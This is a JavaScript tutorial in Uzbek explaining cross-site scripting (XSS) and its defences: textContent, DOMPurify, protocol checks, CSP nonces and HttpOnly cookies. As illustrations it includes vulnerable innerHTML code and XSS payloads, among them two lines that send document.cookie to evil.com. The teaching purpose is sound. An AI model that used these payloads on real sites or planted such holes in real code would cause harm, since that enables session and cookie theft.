Series: JavaScript Basics Lesson 90

XSS

XSS (Cross-Site Scripting) nima, Stored/Reflected/DOM-based turlari, innerHTML orqali xavfli holatlar, textContent va DOMPurify orqali himoya, xavfli/xavfsiz API'lar jadvali, href orqali javascript: hujumi, Content Security Policy va nonce, HttpOnly cookie, va HTML parser darajasida bu muammo qanday paydo bo'lishi.

90-dars

XSS

XSS (Cross-Site Scripting) — bu hujum turi, unda tajovuzkor o'z JS kodini sizning saytingizga "kiritib", uni boshqa foydalanuvchining brauzerida, xuddi sizning saytingizning o'z kodi kabi ishga tushirishga erishadi.

Muammo nima uchun jiddiy: agar tajovuzkor kod ishga tushirishga erishsa, u brauzerda sizning saytingiz nomidan ishlaydigan har narsaga ega bo'ladi — document.cookie, localStorage, sizning saytga login qilingan sessiya, hatto foydalanuvchi nomidan so'rov yuborish (masalan, pul o'tkazish, parol o'zgartirish).


1. Nega bu mumkin — asosiy sabab

Brauzer HTML'ni parse qilganda, u matn va kodni farqlashga harakat qiladi, lekin agar siz foydalanuvchi kiritgan matnni to'g'ridan-to'g'ri, tekshirmasdan HTML ichiga "quysangiz" — brauzer buni matn emas, balki yangi HTML/JS deb qabul qilib qo'yishi mumkin.

// XATARLI kod
const userComment = "<img src=x onerror=\"alert('hacked')\">";
document.getElementById('comments').innerHTML += userComment;

Bu yerda foydalanuvchi "izoh" o'rniga HTML yozgan. innerHTML orqali bu matn DOM'ga HTML sifatida qo'yiladi — brauzer <img> tegini ko'radi, src=x (mavjud bo'lmagan rasm) yuklanmay xato beradi, va onerror handler avtomatik ishga tushadi — bu yerda alert() o'rniga tajovuzkor fetch('https://evil.com/steal?cookie=' + document.cookie) yozishi mumkin edi.


2. XSS'ning 3 turi

Tur Qanday ishlaydi
Stored XSS Zararli kod serverda, bazada saqlanadi (masalan, forum izohi), va har bir ko'ruvchi uchun ishga tushadi — eng xavfli
Reflected XSS Zararli kod URL parametrida keladi, server uni o'zgartirmasdan javobga qo'shadi — link orqali yuboriladi
DOM-based XSS Server umuman aralashmaydi — frontend JS'ning o'zi URL/data'ni xavfsiz tekshirmasdan DOM'ga yozadi

Reflected XSS misoli

https://example.com/search?q=<script>alert('hacked')</script>

Agar server:

// XATARLI backend kod
app.get('/search', (req, res) => {
  res.send(`<h1>Siz qidirdingiz: ${req.query.q}</h1>`); // to'g'ridan-to'g'ri qo'yiladi
});

Tajovuzkor bu linkni qurbonga yuboradi (email, xabar orqali), qurbon bossa — sayt o'zi zararli scriptni HTML'ga qo'shib, ishga tushiradi.

DOM-based XSS misoli

// XATARLI frontend kod
const params = new URLSearchParams(location.search);
document.getElementById('greeting').innerHTML = `Salom, ${params.get('name')}!`;
https://example.com/?name=<img src=x onerror=alert(1)>

Bu yerda server umuman ishtirok etmagan — butun muammo frontend JSning o'zida, innerHTMLga tekshirilmagan data quyilganida paydo bo'lgan.


3. Asosiy yechim — Escaping (qochirish)

Bu — eng muhim tushuncha: foydalanuvchi kiritgan matnni HTML sifatida emas, balki oddiy matn sifatida ko'rsatish kerak.

// XAVFSIZ
document.getElementById('comments').textContent = userComment; // textContent, innerHTML EMAS

textContent — bu matnni hech qanday HTML parsing qilmasdan, xom matn sifatida qo'yadi. Agar userComment ichida <script> bo'lsa ham, u ekranda so'zma-so'z, oddiy matn sifatida ko'rinadi (<script> belgilari literal chiqadi), hech qachon bajarilmaydi.

Agar HTML kerak bo'lsa (masalan, forumda bold, italic ruxsat berish kerak) — Sanitization

// DOMPurify kabi kutubxona bilan
import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize(userComment);
document.getElementById('comments').innerHTML = clean;

DOMPurify — bu kiruvchi HTML'ni parse qilib, faqat ruxsat etilgan teglar/atributlar (<b>, <i>, <a href>) qoldiradi, <script>, onerror, javascript: kabi xavfli qismlarni butunlay olib tashlaydi. Bu — whitelist yondashuvi: "faqat aniq ruxsat etilgan narsa qoladi", "hammasi ruxsat, faqat xavflisi olib tashlanadi" emas — chunki tajovuzkorlar doim yangi, kutilmagan "bypass" usullarini topadi (masalan, <svg onload=...>, <iframe srcdoc=...>), va blacklist yondashuvi doim bir qadam orqada qoladi.


4. Xavfli va xavfsiz API'lar — jadval

API Xavflimi? Sabab
element.textContent = data ✅ Xavfsiz Hech qachon HTML sifatida parse qilinmaydi
element.innerText = data ✅ Xavfsiz textContentga o'xshash
element.innerHTML = data ❌ Xavfli Data HTML sifatida parse qilinadi va bajariladi
element.setAttribute('href', data) ⚠️ Shartli xavfli javascript: protokoli orqali hujum mumkin
document.write(data) ❌ Juda xavfli To'g'ridan-to'g'ri HTML sifatida yoziladi
eval(data) ❌❌ Eng xavfli Data'ni to'g'ridan-to'g'ri JS kod sifatida bajaradi
React {data} (JSX) ✅ Xavfsiz React avtomatik escape qiladi
React dangerouslySetInnerHTML ❌ Xavfli Nomidanoq ko'rinib turibdi — ataylab xavfli qilib nomlangan

href orqali hujum — kamdan-kam eslanadigan holat

// XATARLI
link.setAttribute('href', userInput);
// userInput = "javascript:fetch('https://evil.com/steal?c='+document.cookie)"

Agar foydalanuvchi shu linkni bossa, javascript: protokoli brauzerga "bu URL emas, bu bajariladigan kod" deb signal beradi. Yechim — protokolni tekshirish:

const url = new URL(userInput, location.origin);
if (url.protocol === 'http:' || url.protocol === 'https:') {
  link.setAttribute('href', url.href);
}

5. Ikkinchi mudofaa chizig'i — Content Security Policy (CSP)

Escaping — bu birinchi himoya. Lekin real loyihalarda ikkinchi qatlam ham qo'shiladi — chunki dasturchilar xato qilishi mumkin (bitta joyda innerHTML unutilib qolishi mumkin). CSP — bu brauzerga HTTP header orqali beriladigan qat'iy qoida: "faqat men ruxsat bergan manbalardan JS ishga tushsin":

Content-Security-Policy: script-src 'self' https://trusted-cdn.com

Bu header bilan, hatto tajovuzkor muvaffaqiyatli <script>alert(1)</script>ni DOM'ga kiritishga erishsa ham — brauzer buni umuman bajarmaydi, chunki bu script inline (script-src 'self' faqat tashqi .js fayllarga, o'sha ham faqat 'self' — o'z domenidan — ruxsat beradi, inline kod umuman bajarilmaydi).

<!-- CSP bilan bu ISHLAMAYDI, hatto DOM'ga kirgan bo'lsa ham -->
<img src=x onerror="alert(1)">

onerror="..." — bu ham inline script hisoblanadi, CSP uni bloklaydi va konsolga xato yozadi: Refused to execute inline event handler because it violates CSP directive.

CSP'ning kuchli varianti — nonce

<script nonce="a8f5f167f44f4964e6c998dee827110c">
  console.log('Bu ishlaydi');
</script>
Content-Security-Policy: script-src 'nonce-a8f5f167f44f4964e6c998dee827110c'

Server har bir so'rovda tasodifiy nonce (bir martalik token) generatsiya qiladi, faqat shu aniq nonce'ga ega <script> teglar ishlaydi. Tajovuzkor bu nonce'ni oldindan bilolmaydi (chunki u har safar tasodifiy), shuning uchun hatto kodini DOM'ga kiritishga erishsa ham, brauzer uni nonce mos kelmagani uchun bajarmaydi.


6. Cookie himoyasi — HttpOnly

Agar XSS baribir yuz bersa ham (masalan, siz bilmagan zaiflik orqali), oxirgi himoya qatlami — muhim cookie'larni JS'dan butunlay yashirish:

Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict

HttpOnly bayrog'i bilan yaratilgan cookie — document.cookie orqali umuman ko'rinmaydi, hatto sizning o'z JS kodingiz ham uni o'qiy olmaydi, faqat brauzer uni avtomatik, HTTP so'rovlar bilan birga yuboradi. Bu — hatto XSS orqali document.cookieni o'g'irlashga urinilsa ham, session token hech qachon JS'ga ko'rinmasligini kafolatlaydi.


7. V8 va parser darajasida — nega bu muammo tub-tubida shunday

Bu yerda muhim tushunish kerak bo'lgan narsa: HTML parser va JS engine (V8) — ikkita alohida narsa, lekin ular bir-biriga bog'langan. Muammo aynan shu bog'lanish nuqtasida yuzaga keladi:

HTML Parser (Blink) matnni o'qiydi
        ↓
    <script>...</script> yoki onerror="..." ko'rsa
        ↓
Bu ICHKI matnni AVTOMATIK V8'ga "bajarish uchun kod" sifatida uzatadi

innerHTML = someString chaqirilganda, brauzer someStringni xuddi original HTML fayl kabi, to'liq HTML parser orqali qayta ishlaydi (tokenization → tree construction, xuddi sahifa birinchi marta yuklanganda bo'lgani kabi). Parser <script> yoki on* atributlariga duch kelsa, bu avtomatik, hech qanday qo'shimcha tekshiruvsiz V8'ga "bajar" deb yuboriladi — chunki parser kelgan HTML manba ishonchli yoki ishonchsizligini bilmaydi, u shunchaki HTML spetsifikatsiyasiga qat'iy amal qiladi.

textContent esa bu parserni umuman chaqirmaydi — u matnni DOM Text Node sifatida, hech qanday tokenization/tree construction'siz, to'g'ridan-to'g'ri qo'yadi. Shuning uchun u strukturaviy jihatdan xavfsiz — parser ishlamasa, kod bajarilishi ham mumkin emas.


Xulosa — amaliy qoidalar ro'yxati

  1. Foydalanuvchi data'sini ko'rsatishda — doim textContent, innerHTML emas
  2. Agar HTML kerak bo'lsa — DOMPurify kabi sanitizer orqali
  3. href, src kabi atributlarda — protokolni tekshirish (javascript: blok)
  4. Server darajasida — CSP header qo'shish (ikkinchi mudofaa qatlami)
  5. Muhim cookie'lar — HttpOnly bilan, JS'dan butunlay yashirilgan
  6. eval(), new Function(data) — hech qachon foydalanuvchi data'siga ishlatilmasin
  7. React/Vue kabi framework ishlatsangiz ham — dangerouslySetInnerHTML / v-html bilan ehtiyot bo'lish shart, chunki framework shu yerda avtomatik himoyani o'chirib qo'yadi